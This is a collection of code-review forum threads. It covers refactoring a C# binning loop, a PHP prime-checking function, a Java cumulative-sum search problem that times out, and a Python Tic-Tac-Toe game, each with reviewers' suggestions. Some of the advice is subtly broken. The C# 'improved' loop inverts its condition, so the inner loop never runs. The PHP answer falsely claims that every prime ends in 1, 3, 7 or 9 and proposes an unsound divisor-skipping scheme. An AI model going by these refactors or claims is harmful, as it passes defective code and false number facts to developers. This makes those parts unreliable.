        for (int i = 0; i < a.GetLength(1); i++) {
            for (int j = 0; j < b.GetLength(1); j++) {

                //if fragment falls in bin, add it to the new object
                if (a[0, i] <= (b[0, j] + binSize / 2) &&
                    a[0, i] > (b[0, j] - binSize / 2)) {

                    c[0, k] = a[0, i];
                    c[0, k] = b[0, j];

                    c[1, k] = a[1, i];
                    c[1, k] = b[1, j];
                    k++;

                }
                if (k >= a.GetLength(1)) {
                    break;
                }
            }
        }

Here's the code I have, which works perfectly

int k = 0;
for (int i = 0; i < a.GetLength(1); i++) {
    for (int j = 0; j < b.GetLength(1); j++) {

        //if fragment falls in bin, add it to the new object
        if (a[0, i] <= (b[0, j] + binSize / 2) &&
            a[0, i] > (b[0, j] - binSize / 2)) {

            c[0, k] = a[0, i];
            c[0, k] = b[0, j];

            c[1, k] = a[1, i];
            c[1, k] = b[1, j];
            k++;

        }
        if (k >= a.GetLength(1)) {
            break;
        }
    }
}

It is obviously better to extract the binSize / 2 outside of the for loops, as binSize is never changed. So the repeating binSize / 2 isn't needed. Assuming binSize is an int:

int halfBinSize = binSize / 2;

Also a.GetLength(1) and b.GetLength(1) won't change, but are queried each time in the inner loop so refactor like this:

int lengthA = a.GetLength(1);
int lengthB = b.GetLength(1);

As you overwrite the values of

            c[0, k] = a[0, i];
            c[0, k] = b[0, j];

            c[1, k] = a[1, i];
            c[1, k] = b[1, j];

this can be reduced to

c[0, k] = b[0, j];
c[1, k] = b[1, j];

As the context isn't known let's keep the check for k >= a.GetLength(1)

the check for k >= a.GetLength(1) can be removed as you are using the a[,] only to compare with b[,] the check can be removed completely

but we place it to the looping condition

for (int j = 0; k >= lengthA && j < lengthB; j++)

and we should refactor a[0,i] to outside the inner loop

double currentA = a[0,i];

which results overall in

int halfBinSize = binSize / 2;
int lengthA = a.GetLength(1);
int lengthB = b.GetLength(1);
double currentA;

int k = 0;
for (int i = 0; i < lengthA; i++)
{

    currentA = a[0,i];

    for (int j = 0; k >= lengthA && j < lengthB; j++)
    {
        //if fragment falls in bin, add it to the new object
        if (currentA  <= (b[0, j] + halfBinSize) &&
            currentA  > (b[0, j] - halfBinSize))
        {

            c[0, k] = b[0, j];

            c[1, k] = b[1, j];
            k++;

        }
    }
}


is_Prime() function on PHP I tried to make an is_Prime() function in PHP. What do you think about this code?

<?php
function is_Prime($x)
{
  if($x <= 1)
  {
    echo $x. " is not a prime number.
";
    return false;
  }
  $data = array();
  for ($i=1;$i<=$x;$i++)
  {
    if(is_integer($x/$i))
    {
        array_push($data, ($x/$i));
    }
  }
  if(count($data)>2)
  {
    echo $x." is not a prime number
";
  }
  else
  {
    echo $x. " is a prime number
";
  }
}
?>

How to use?

for($i=0;$i<=100;$i++)
{
  is_Prime($i);
}

All primes end in either 1, 3, 7, or 9.  You could do a check up front to make sure the number satisfies that requirement.

Second, a number is prime if it has no prime factors besides itself and 1.  Therefore you should start you checking loop at 3, not at 1.  Since you only need to check against primes, you could start the loop at 3, increment it by 10, and check $x/$i, $x/($i+4), $x/($i+6), and $x/($i+8).  That would be 4 divide operations instead of the 10 you are presently doing.

Third, you only have to check possible factors up to the square root of the number you are checking, so figure out the sqrt($x) and make that the end of the loop.  You are also putting all the factors you find into an array, which is not necessary if you are simply trying to see if the number is prime.


HackerEarth: Find array index with cumulative sum till there matching a given target The problem was like this:

Given an array:

[1, 2, 1, 3, 4]

where each index value shows the production of that particular day. So, at index 0, production is 1, index 1 - production is 2, so on...

Then we're given some targets (N numbers of them). For a given target T, we've to find the index till which the cumulative production matches the target.

For e.g., a target of 4 will be achieved by index 2 (1 + 2 + 1 = 4 >= 4). Similarly, a target of 10 will be achieved by index 4 (1 + 2 + 1 + 3 + 4 = 11 >= 10). Basically, the target is achieved for index i, if cumulative sum till that index is greater than target. We've find the minimum index for each target.

For the above array, sample input and output would be:

4, 2, 10
2, 1, 4

My idea for the problem is: While reading the array as input, I pre-process the array to store cumulative at each index. So, I'll convert the above array to:

[1, 3, 4, 7, 11]

and then for the given target, I'll find the minimum value in array greater than that target (can easily be done using binary search).

Assuming the total number of targets input is Q and size of initial array is T, my algorithm would be O(Qlog(T)), which seems to be quite fine. But, it failed with TLE for input #5 on hackerearth.

Then I thought of maintaining a target cache (Map<Long, Integer>), which I'll populate after reading each array element. That map will store the index of each possible target till the maximum value.

For the above array, the map which I build would be like:

{1=0, 2=1, 3=1, 4=2, 5=3, 6=3, 7=3, 8=4, 9=4, 10=4, 11=4}

So, for each target, I can just do map.get(target), to get the index. For this solution, pre-processing numbers, and building map should be O(maxTarget), where maxTarget is the maximum value a target can get. And then fetching result is just O(1). But again, this also failed with TLE.

I'm completely out of thought to modify this to make the last input pass. Here's my code for 2nd approach (map):

public static void main(String[] args) throws Exception {

    BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
    String line = br.readLine();
    int T = Integer.parseInt(line);

    String input = br.readLine();
    StringTokenizer tokenizer = new StringTokenizer(input, " ");

    long[] numbers = new long[T];
    Map<Long, Integer> targetCache = new HashMap<Long, Integer>();

    int i = 0;
    while (tokenizer.hasMoreTokens()) {
        int nextTarget = Integer.parseInt(tokenizer.nextToken());
        long previousTarget = i == 0 ? 0 : numbers[i - 1];
        numbers[i] = previousTarget + nextTarget;
        long currentCumulativeTarget = numbers[i];
        for (long j = previousTarget + 1; j <= currentCumulativeTarget; j++) {
            targetCache.put(j, i);
        }
        i++;
    }
    System.out.println(targetCache);

    int Q = Integer.parseInt(br.readLine());
    for (int x = 0; x < Q; x++) {
        long target = Long.parseLong(br.readLine());
        Integer index = targetCache.get(target);
        // If target can't be matched, print -1
        System.out.println(index == null ? -1 : index);
    }
}

How can the above solution be optimized further? Any leads? BTW, I can't test the solution, as that was the part of a interview test, and I can't see that question again.

With Java performance it is important to create methods other than the main method. Java compilation is method-based, and it often relates to how often the method is called. Since the main method is only called once, it is seldom optimized very well.

In addition to that, Java println is also slow, as it requires access to the console, and it is synchronizes, and flushes it. As a result, many println calls are also slower than fewer larger printlns. So, batch up your output as much as you can.

All in all, create methods, batch the output, and .... use a binary search. Then, use some useful Java native methods. Split is a good one, and also try-with-resources for the input streams. With the format of your input, a Scanner may be simpler too....

private static int[] readInts(Scanner scanner) {
    int size = scanner.nextInt();
    int[] values = new int[size];
    for (int i = 0; i < size; i++) {
        values[i] = scanner.nextInt();
    }
    return values;
}

private static void accumulateValues(int[] values) {
    for (int i = 1; i < values.length; i++) {
        values[i] += values[i - 1];
    }
}

public static void main(String[] args) {
    try (Scanner scanner = new Scanner(System.in)) {
        int[] values = readInts(scanner);
        accumulateValues(values);
        int[] searches = readInts(scanner);
        int[] results = new int[searches.length];
        for (int i = 0; i < searches.length; i++) {
            results[i] = Arrays.binarySearch(values, searches[i]);
            if (results[i] < 0) {
                results[i] = -results[i] - 1;
            }
        }
        StringBuilder sb = new StringBuilder();
        for (int r : results) {
            sb.append(r).append("\n");
        }
        System.out.println(sb.toString());
    }
}


Tic-Tac-Toe Python 3 game I was given the challenge of creating a Tic-Tac-Toe game that would print out the board each time. It was fun to make and part B of the challenge was to have others review my code. If you would like to see my code in action, you can do so from here. Any comments or advice on adjustments I could apply to my program would be greatly appreciated.

import random

square_values = ["1", "2", "3", "4", "5", "6", "7", "8", "9"]
number_of_turns = 0
no_wins = True

print("Lets play Tic-Tac-Toe!")
player_1_pick = ""
player_2_pick = ""
player_1 = input("Enter a name for player 1 and press enter, leave blank to leave as Player 1: ")
player_2 = input("Enter a name for player 2 and press enter, leave blank to leave as Player 2: ")

#sets the players name
if (player_1 == "" or player_2 == ""):
  if (player_1 == ""):
    player_1 = "Player 1"
  if (player_2 == ""):
    player_2 = "Player 2"
else:
  pass

#assigns X or O to players
if (random.randint(1,2) == 1):
  player_1_pick = input(player_1 + ", choose X or O: ").upper()
  if (player_1_pick == "X"):
    player_2_pick = "O"
  else:
    player_2_pick = "X"
else:
  player_2_pick = input(player_2 + ", choose X or O: ").upper()
  if (player_2_pick == "X"):
    player_1_pick = "O"
  else:
    player_1_pick = "X"

#makes a move
def make_a_move(player, player_pick):
  print("""
     |     |
  {}  |  {}  |  {}
_____|_____|_____
     |     |
  {}  |  {}  |  {}
_____|_____|_____
     |     |
  {}  |  {}  |  {}
     |     |
""" .format(square_values[0], square_values[1], square_values[2], square_values[3], square_values[4], square_values[5], square_values[6], square_values[7], square_values[8]))

  status = True
  while (status == True):
    choice = input(player + " pick a square(" + player_pick + "): ")
    try:
      int(choice)
      if (1 <= int(choice) <= 9):
        if (square_values[int(choice)-1] != "X" and square_values[int(choice)-1] != "O"):
          square_values.remove(choice)
          square_values.insert(int(choice)-1, player_pick)
          status = False
        else:
          print("Square already taken, select another square.")
      else:
        print("Input not an option, choose again.")
    except ValueError:
        print("Input not an option, choose again.")

status_main = True
def check_for_a_win(value1, value2, value3):
  global status_main
  global no_wins
  if (square_values[value1] == "X" and square_values[value2] == "X" and square_values[value3] == "X"):
    status_main = False
    no_wins = False
    if(player_1_pick == "X"):
      print("Player 1 won!")
    else:
      print("Player 2 won!")
  elif (square_values[value1] == "O" and square_values[value2] == "O" and square_values[value3] == "O"):
    status_main = False
    no_wins = False
    if(player_1_pick == "O"):
      print("Player 1 won!")
    else:
      print("Player 2 won!")
  else:
    pass

def func_1(player, pick):
  global number_of_turns
  global status_main
  if (no_wins == True):
    number_of_turns = number_of_turns + 1
    make_a_move(player, pick)
    check_for_a_win(0, 1, 2)
    check_for_a_win(3, 4, 5)
    check_for_a_win(6, 7, 8)
    check_for_a_win(0, 3, 6)
    check_for_a_win(1, 4, 7)
    check_for_a_win(2, 5, 8)
    check_for_a_win(0, 4, 8)
    check_for_a_win(2, 4, 6)
  if (number_of_turns == 9 and status_main == True):
    print("It's a tie :(")
    status_main = False

while (status_main == True):
  func_1(player_1, player_1_pick)
  func_1(player_2, player_2_pick)

Bug: If, during the "pick a sigil" part of the game setup, player 1 simply presses <ENTER>, the game will play empty-string vs. "X". It looks bad.

Your code has several problems. Let's start with the most basic:

You are not using Python idiom for structuring your code. Please see this page (one of many duckduck search results) for an example and explanation. You should be using:

if __name__ == '__main__':
    play_game()

(for some value of play_game().)
You are not using descriptive names for your functions. What does func_1 do?
You are not using functions to organize your code. From about line 7 down to the definition of make_a_move you have a bunch of code that is just executed in-line. That should be a setup_game() function, or some such.
Your logic is confused. Consider this code:

#sets the players name
if (player_1 == "" or player_2 == ""):
  if (player_1 == ""):
    player_1 = "Player 1"
  if (player_2 == ""):
    player_2 = "Player 2"
else:
  pass

What are the real possibilities here? If player one's name is empty, you
need to set it:

if (player_1 == ""):
    player_1 = "Player 1"

Likewise for player 2:

if (player_2 == ""):
    player_2 = "Player 2"

All the rest of that code is just noise.
You are not using standard Python functions. Consider:

square_values = ["1", "2", "3", "4", "5", "6", "7", "8", "9"]

Is there a standard Python function that returns a range of values? Why, yes! There is!

square_values = range(1, 10) # integers, not strings
# or
square_values = map(str, range(1, 10))
# or
square_values = [str(n) for n in range(1, 10)]

Not a code problem, but a logic problem: why use player 1 and player 2? You ask for their names, and then the sigil they should use. Why not simply call them 'Player X' and 'Player O' all the way through? You could eliminate a lot of code that way.
Your code does not have "basic elegance" of structure. This is hard to quantify, but I would say that basic elegance requires that your control structures be used in as natural a fashion as possible. Consider this:

while (status_main == True):
      func_1(player_1, player_1_pick)
      func_1(player_2, player_2_pick)

This fails on many levels. First, comparing a boolean with True in a conditional expression is stupid. It's a boolean! Just use it:

while (status_main):

Next, using parens like this is a Java/C thing. Not required, nor recommended, in Python:

while status_main:
    func_1(player_1, player_1_pick)
    func_1(player_2, player_2_pick)

Next, what does status_main even mean? How about keep_playing instead?

while keep_playing:
    func_1(player_1, player_1_pick)
    func_1(player_2, player_2_pick)

But honestly, why not do the checking in the while loop, instead of relying on a global variable set who-knows-where?

while not game_over():
    func_1(player_1, player_1_pick)
    func_1(player_2, player_2_pick)

And, since all you are doing is alternating between player X and player O, why not include that in the loop. You can use that to insert a check for a win after each turn:

curr, next = 'O', 'X'

while not game_over():
    curr, next = next, curr
    take_turn(curr)

print("Winner is", curr)  # Note that winner is in curr, if winner

There are other problems like this. Look for your no_wins variable: almost every place it gets used looks inelegant. And calling a function won't help - you really need to think how to get rid of that variable. Here's hint: simplify your code. Move some logic out of the "bottom" functions and up into the "middle" and "top" functions.